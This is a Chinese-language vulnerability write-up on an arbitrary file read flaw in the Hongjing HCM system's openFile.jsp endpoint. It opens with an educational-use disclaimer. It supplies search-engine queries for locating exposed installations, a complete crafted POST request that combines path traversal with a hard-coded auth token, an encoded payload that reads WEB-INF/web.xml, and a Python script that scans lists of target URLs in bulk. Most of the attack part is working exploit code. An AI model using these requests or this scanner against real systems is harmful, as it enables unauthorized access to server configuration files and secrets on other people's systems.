声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。
文章目录
- 漏洞描述
- 漏洞复现
- 测试工具
漏洞描述
宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,其openFile接口
存在任意文件读取漏洞,未授权攻击者可以利用其读取网站配置文件等敏感信息。
漏洞复现
1)资产测绘,信息收集
fofa:app="HJSOFT-HCM"
hunter:app.name="宏景 HCM"
天道酬勤!!
2)构造数据包
POST /templates/attestation/../../general/muster/hmuster/openFile.jsp HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
x-auth-token: d9eaeacd5de1008fd43f737c853dcbcb
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
filename=8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP
代码解释
filename
这部分需要加密转换,工具:https://github.com/vaycore/HrmsTool
执行命令:java -jar HrmsTool.jar -e ../webapps/hrms/WEB-INF/web.xml
编码前:../webapps/hrms/WEB-INF/web.xml
编码后:8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP
3)神器Yakit发包
测试工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests # 导入requests库,用于发送HTTP请求
import argparse # 导入argparse库,用于解析命令行参数
from requests.exceptions import RequestException # 导入RequestException,用于处理请求异常
from urllib3.exceptions import InsecureRequestWarning # 导入InsecureRequestWarning,用于禁用不安全请求警告
# 打印颜色定义
RED = '\033[91m' # 红色
RESET = '\033[0m' # 重置颜色
# 禁用不安全请求警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
try:
# 构建攻击URL,尝试利用路径遍历漏洞
attack_url = url.rstrip('/') + "/templates/attestation/%2e%2e/%2e%2e/general/muster/hmuster/openFile.jsp"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36', # 设置User-Agent
'x-auth-token': 'd9eaeacd5de1008fd43f737c853dcbcb', # 设置伪造的x-auth-token
'Content-Type': 'application/x-www-form-urlencoded', # 设置请求内容类型
}
# 准备POST请求的数据
data = {
'filename': '8uHo1M8Ok6bZ468mKmzw70ounZHwKUWnpVOrvOAV6WoPAATTP3HJDPAATTP' # 尝试读取的文件名
}
# 向服务器发送POST请求
response = requests.post(attack_url, headers=headers, data=data, verify=False, timeout=10) # 不验证SSL证书,设置超时时间
# 检查响应状态码和响应体中的关键字
if response.status_code == 200 and 'web-app' in response.text: # 如果状态码为200并且响应体中包含'web-app'
print(f"{RED}URL [{url}] 宏景HCM openFile任意文件读取漏洞。{RESET}") # 打印漏洞信息
else:
print(f"URL [{url}] 未发现漏洞。") # 打印未发现漏洞信息
except RequestException as e:
print(f"URL [{url}] 请求失败: {e}") # 打印请求失败信息
def main():
parser = argparse.ArgumentParser(description='检查目标URL是否存在宏景HCM openFile任意文件读取漏洞。') # 解析命令行参数
parser.add_argument('-u', '--url', help='指定目标URL') # 添加URL参数
parser.add_argument('-f', '--file', help='指定包含多个目标URL的文本文件') # 添加文件参数
args = parser.parse_args() # 解析命令行参数
if args.url: # 如果指定了URL
# 如果URL未以http://或https://开头,则添加http://
args.url = "http://" + args.url.strip("/") if not args.url.startswith(("http://", "https://")) else args.url
check_vulnerability(args.url) # 检查指定URL的漏洞
elif args.file: # 如果指定了文件
with open(args.file, 'r') as file: # 打开文件
urls = file.read().splitlines() # 读取文件中的URL列表
for url in urls:
url = "http://" + url.strip("/") if not url.startswith(("http://", "https://")) else url # 确保URL以http://或https://开头
check_vulnerability(url) # 检查每个URL的漏洞
if __name__ == '__main__':
main() # 程序入口
运行截图